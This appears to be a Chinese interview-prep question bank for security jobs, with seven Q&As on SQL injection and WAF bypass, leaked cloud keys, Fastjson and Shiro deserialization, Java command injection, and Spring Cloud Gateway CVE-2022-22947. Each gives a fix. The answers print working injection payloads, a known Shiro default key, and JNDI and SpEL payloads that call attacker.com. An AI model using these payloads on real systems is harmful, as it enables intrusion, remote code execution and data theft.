绿盟面试题
《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
1. SQL注入进阶利用
题目:某登录系统存在SQL注入漏洞,但过滤了'
、"
、空格
和union
关键字,如何绕过并获取管理员密码?
答案:
- 绕过引号:使用十六进制编码(
0x61646D696E
代替'admin'
)或宽字节注入(%bf%27
); - 绕过空格:用
/**/
或%0a
代替; - 绕过
union
:使用盲注(布尔/时间盲注)或报错注入(extractvalue(1,concat(0x7e,(select user())))
); - 利用示例:
admin'^extractvalue(1,concat(0x7e,(select substr(password,1,20) from users where username=0x61646D696E)))%23
修复方案:预编译(PreparedStatement)+ 白名单过滤。
2. AK/SK泄露的云环境渗透
题目:在GitHub公开代码中发现某云厂商的AK/SK,如何快速验证并扩大攻击面?
答案:
- 验证AK/SK有效性:使用AWS CLI执行
aws sts get-caller-identity
(或对应云厂商SDK); - 权限枚举:列出IAM权限边界、S3存储桶、EC2实例等;
- 横向移动:创建后门用户、生成临时凭证、部署恶意Lambda函数;
- 数据泄露:下载敏感存储桶数据或数据库快照。
修复方案:使用环境变量存储密钥、启用密钥轮换、限制IAM权限范围。
3. Fastjson反序列化漏洞
题目:如何利用Fastjson ≤1.2.24的反序列化漏洞实现RCE?给出利用链及限制条件。
答案:
- 利用链:
JdbcRowSetImpl
+ JNDI注入(需出网); - Payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
- 限制条件:目标需开启
autoType
功能(默认关闭); - 修复方案:升级至1.2.83+,关闭
autoType
,使用安全模式。
4. Java代码审计:危险方法调用
题目:审计以下代码,指出漏洞并说明利用方式:
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
答案:
- 漏洞:未过滤直接执行用户输入的
cmd
参数,导致命令注入; - 绕过技巧:使用
;
、&
、|
、$(subshell)
分割命令; - 修复方案:使用白名单校验或
ProcessBuilder
参数化调用。
5. Shiro反序列化漏洞
题目:如何利用Shiro的RememberMe功能实现反序列化攻击?给出关键步骤。
答案:
- 获取Cookie中的
rememberMe
字段(Base64+AES-CBC加密); - 利用已知Key(默认Key如
kPH+bIxk5D2deZiIxcaaaA==
)或爆破Key; - 构造恶意序列化数据(如CommonsCollections链),加密后替换Cookie;
- 触发反序列化实现RCE。
修复方案:更换Shiro Key,升级至1.7.0+,禁用危险链。
6. 框架漏洞:Spring Cloud Gateway RCE
题目:简述CVE-2022-22947的利用条件及攻击步骤。
答案:
- 漏洞成因:未校验路由配置的
Filter
参数,导致SpEL表达式注入; - 利用步骤:
-
- 添加恶意路由:
POST /actuator/gateway/routes/test
,Body包含SpEL表达式(如T(java.lang.Runtime).getRuntime().exec("curl attacker.com")
); - 刷新路由:
POST /actuator/gateway/refresh
; - 访问路由触发RCE。
修复方案:升级Spring Cloud Gateway至3.1.1+,禁用Actuator接口。
- 添加恶意路由:
7. SQL注入绕过WAF
题目:某WAF拦截了UNION SELECT
和information_schema
,如何获取数据库名?
答案:
- 替代
information_schema
:使用sys.schema_auto_increment_columns
(MySQL 5.6+); - 绕过
UNION
:利用报错注入或布尔盲注; - Payload示例:
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --+
修复方案:使用ORM框架+参数化查询,禁用错误回显。